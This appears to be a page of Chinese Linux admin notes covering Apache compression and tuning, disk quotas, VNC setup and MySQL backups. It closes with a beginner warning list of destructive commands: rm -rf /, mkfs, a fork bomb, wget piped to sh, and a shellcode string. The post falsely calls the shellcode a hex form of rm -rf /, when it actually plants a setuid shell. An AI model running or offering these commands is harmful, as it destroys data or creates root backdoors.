正在筛选分类:菜鸟Linux笔记 下的文章 清除筛选 ✕
2013
02
21
09:38

Apache mod_deflate(gzip)

在Apache中,可以啟用mod_deflate來壓縮網頁,傳送給client後再由client端解壓縮,可以大大節省頻寬的使用

開啟方法:

#先到apache的httpd.conf中把mod_deflate.so註解拿掉(如果預設有引入的話就代表已經有使用deflate壓縮囉)

LoadModule deflate_module libexec/apache22/mod_deflate.so

#Ubuntu可以使用指令開啟

a2enmod deflate

接著可以在Apache設定檔(httpd.conf)中自訂一些設定

<IfModule mod_deflate.c>

#壓縮等級1~9,等級越高壓縮效能越好

DeflateCompressionLevel 9

#設定要壓縮的類型

AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css application/javascript application/x-httpd-php

#自訂Log格式及存放位置

DeflateFilterNote ratio

LogFormat ‘”%r” %b (%{ratio}n) “%{User-agent}i”‘ deflate

CustomLog /var/log/deflate_log deflate

</IfModule>

其他更細部的操作,例如BrowserMatch等等,可以直接參考Apache mod_deflate的說明

設定完成後重新啟動Apache即可,可以透過這個網站測試

2013
02
20
15:44

在Debian里面用quota配置磁盘限额

实现磁盘配额限制步骤:

1. 内核里面打开了配额的支持,绝大部分发行版都打开的

2. 以配额方式加载文件系统

3.安装配额软件:

4.配置配额

原/etc/fstab的一项:

/dev/hda1 /home ext2 defaults 1 1

做如下修改:

/dev/hda1 /home ext2 defaults,usrquota 1 1

如何是对组限制就将usrquota改为grpquota

重新加载文件系统:

mount -o remount,usrquota /home

加载内核模块,并让其开机的时候也会自动加载

modprobe quota_v2

echo ‘quota_v2’ >> /etc/modules

我们要在启用配额的分区创建文件并且限制root才能读写

touch /home/aquota.user

touch /home/aquota.group

chmod 600 /home/aquota.user /home/aquota.group

现在来安装quota软件:

apt-get install quota quotatool

如果不想重起机器来打开磁盘配额

quotacheck -vagum

现在到最后一步了,假设我们要对系统里的某个用户skx进行限制配额:

quotatool -u skx -bq 200M -l ‘250 Mb’ /home

系统管理员可以用如下命令看到 磁盘配额

repquota /home

如果想把一个用户的限制取消只用把他的限制配额设为0

对了,如果是20G,那就要写20000M,quotatool好像不认 20G的。

收工~~

其实现在一般情况下也用不到这个磁盘限额。

2013
02
17
16:18

Linux服务器一键安装包

CentminMod

http://centminmod.com/

Nginx Auto Installer – PHP – MySQL

http://serversreview.net/nginx-auto-installer-php-mysql

TuxLite

http://tuxlite.com/

https://github.com/Mins/TuxLite

Minimal & Minstall & Server

https://github.com/maxexcloo/

TigersWay

https://github.com/TigersWay/VPS

Debian-Server

https://github.com/mikegioia/Debian-Server

LNMP-xcache-PHPMyAdmin

https://github.com/AhmadShamli/LNMP-xcache-PHPMyAdmin

Nginx-Setup-Script

https://github.com/mikemansell/Nginx-Setup-Script

LNMPA

https://github.com/XWay/LNMPA

NGinxAutoInstall.sh

https://github.com/nicolargo/debianpostinstall

VladGh.com-LEMP

https://github.com/vladgh/VladGh.com-LEMP/tree/next

https://github.com/scott23/VladGh.com-LEMP/tree/update

lowendscript

https://github.com/jkilgore/lowendscript

https://github.com/sotiri/lowendscript

https://github.com/ilevkov/lowendscript

小朱的两个

http://www.centos.bz/lnmp/

http://www.centos.bz/lamp/

QLNMP

http://qlnmp.forum.openfans.org/

http://code.google.com/p/qlnmp/

Linux + Apache + Nginx + MySQL + PHP Auto Install Script

https://github.com/wangyan/lanmp

LEMP

http://bbs.linuxtone.org/thread-1582-1-1.html

http://docs.linuxtone.org/autoinstall/

AceLNMP

http://code.google.com/p/acelnmp/

lnmp-project

http://code.google.com/p/lnmp-project/downloads/list

Centos,Debian

http://code.google.com/p/lnmp-auto-install/

2013
02
17
10:22

debian 6 安装vnc+xfce4 教程

debian6 不得不说,非常好的系统,默认安装的时候,不安装图形,安装一些基本的包后,以后如果想安装图形,远程管理什么的,可以安装xfce这个桌面,非常小,然后把中文安装上,非常爽。安装的步骤如下:

apt-get install xfonts-intl-chinese xfonts-wqy ttf-wqy-zenhei ttf-wqy-microhei

apt-get install vnc4server xfce4

安装完成以后,配置下vnc,让vnc 开机自动启动,并设置一个vnc的连接密码

终端输入vncpasswd ,提示输入密码即可

远程访问客户端可以用vncviewer ,但在访问前还需修改一个 VNC 的 xstartup 文件,否则没有Xfce图像界面

vim ~/.vnc/xstartup

附我的 xstartup 文件

#!/bin/sh

# Uncomment the following two lines for normal desktop:

# unset SESSION_MANAGER

# exec /etc/X11/xinit/xinitrc

[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup

[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources

xsetroot -solid grey

#vncconfig -iconic &

#x-terminal-emulator -geometry 80×24+10+10 -ls -title “$VNCDESKTOP Desktop” &

#x-window-manager &

xfce4-session &

然后创建一个启动脚本

vim /etc/init.d/vncserver

#! /bin/sh

export USER=”root”

export PATH=”/usr/local/bin:/usr/bin:/bin:/usr/bin/X11″

NAME=vncstart

start()

{

su – $USER -c”vncserver :5″

}

stop()

{

su – $USER -c”vncserver -clean -kill :1″

}

case “$1” in

start)

echo -n “Starting Xvnc: ”

start

;;

stop)

echo -n “Stopping Xvnc ”

stop

;;

restart)

echo -n “Restarting Xvnc ”

stop

start

;;

****)

echo “Usage: /etc/init.d/$NAME {start|stop|restart}”

exit 1

;;

esac

exit 0

创建保存,设置为可执行,并加入到服务列表

chmod +x /etc/init.d/vncserver

update-rc.d vncserver defaults

然后用windows的vnc客户端连接,连接的端口是5905 ,密码就是你刚才设置的

2013
01
23
15:44

定时自动备份MySQL数据库

网上搜索的一些文章或者脚本, 经过一番摸索后, 以下方式是可行的.

 

step1: 创建定时任务, 例如在早上1:30备份数据库. 编辑/etc/crontab文件, 添加内容:

30 1 * * * root /home/cronDayBackupMySQL.sh

 

step2: 创建shell脚本cronDayBackupMySQL.sh. 要非常注意脚本中的标点符号(不得不说, shell脚本是怪折磨人的)

#!/bin/bash

currDateStr=’date +%Y%m%d’

mysqlBackFileName=mysql${currDateStr}

mysqldump -u root -p db_xyz –password=1234 | gzip > /var/backups/$mysqlBackFileName.sql.gz

 

其中, 数据库是db_xyz, 数据库root用户密码是1234, 备份的sql文件压缩存放在/var/backups目录下.

 

解压缩gz文件也很简单, 直接试用gzip即可:

 

gzip -d xxx.gz

2013
01
20
15:12

unknown group &#39;ssl-cert&#39; in statoverride file

dpkg: unrecoverable fatal error, aborting:

syntax error: unknown group ‘ssl-cert’ in statoverride file

E: Sub-process /usr/bin/dpkg returned an error code (2)

A package failed to install. Trying to recover:

安装vsftpd时出现了上面的错误提示,整了半天也不知道从哪里下手。最后还是解决了,我也不知道是怎么回事,记录一下以后参考

# addgroup –system ‘ssl-cert’

这样就创建了一个SSL-CERT组,然后安装aptitude install ssl-cert

再安装aptitude install vsftpd

2012
12
15
10:13

合理设置apache参数

在/usr/local/etc/apache22/httpd.conf中加载MPM配置(去掉前面的注释):

# Server-pool management (MPM specific)

Include etc/apache22/extra/httpd-mpm.conf

可见的MPM配置在/usr/local/etc/apache22/extra/httpd-mpm.conf,但里面根据httpd的工作模式分了很多块,哪一部才是当前httpd的工作模式呢?可通过执行 apachectl -l 来查看:

Compiled in modules:

core.c

prefork.c

http_core.c

mod_so.c

看到prefork 字眼,因此可见当前httpd应该是工作在prefork模式,prefork模式的默认配置是:

<IfModule mpm_prefork_module>

StartServers 5

MinSpareServers 5

MaxSpareServers 10

MaxClients 150

MaxRequestsPerChild 0

</IfModule>

2.要加到多少?

连接数理论上当然是支持越大越好,但要在服务器的能力范围内,这跟服务器的CPU、内存、带宽等都有关系。

查看当前的连接数可以用:

ps aux | grep httpd | wc -l

或:

pgrep httpd|wc -l

计算httpd占用内存的平均数:

ps aux|grep -v grep|awk ‘/httpd/{sum+=$6;n++};END{print sum/n}’

由于基本都是静态页面,CPU消耗很低,每进程占用内存也不算多,大约200K。

服务器内存有2G,除去常规启动的服务大约需要500M(保守估计),还剩1.5G可用,那么理论上可以支持1.5*1024*1024*1024/200000 = 8053.06368

约8K个进程,支持2W人同时访问应该是没有问题的(能保证其中8K的人访问很快,其他的可能需要等待1、2秒才能连上,而一旦连上就会很流畅)

控制最大连接数的MaxClients ,因此可以尝试配置为:

<IfModule mpm_prefork_module>

StartServers 5

MinSpareServers 5

MaxSpareServers 10

ServerLimit 5500

MaxClients 5000

MaxRequestsPerChild 100

</IfModule>

注意,MaxClients默认最大为250,若要超过这个值就要显式设置ServerLimit,且ServerLimit要放在MaxClients之前,值要不小于MaxClients,不然重启httpd时会有提示。

重启httpd后,通过反复执行pgrep httpd|wc -l 来观察连接数,可以看到连接数在达到MaxClients的设值后不再增加,但此时访问网站也很流畅,那就不用贪心再设置更高的值了,不然以后如果网站访问突增不小心就会耗光服务器内存,可根据以后访问压力趋势及内存的占用变化再逐渐调整,直到找到一个最优的设置值。

(MaxRequestsPerChild不能设置为0,可能会因内存泄露导致服务器崩溃)

更佳最大值计算的公式:

apache_max_process_with_good_perfermance < (total_hardware_memory / apache_memory_per_process ) * 2

apache_max_process = apache_max_process_with_good_perfermance * 1.5

2012
12
05
10:00

7 个致命的 Linux 命令

如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。

1、rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。

2、

char esp[] __attribute__ ((section(“.text”))) /* e.s.p

release */

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”

“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”

“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”

“\x6e\x2f\x73\x68\x00\x2d\x63\x00”

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;”;

这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。

3、mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。

4、:(){ :|:& };: 著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。

5、any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。

6、wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。

7、mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。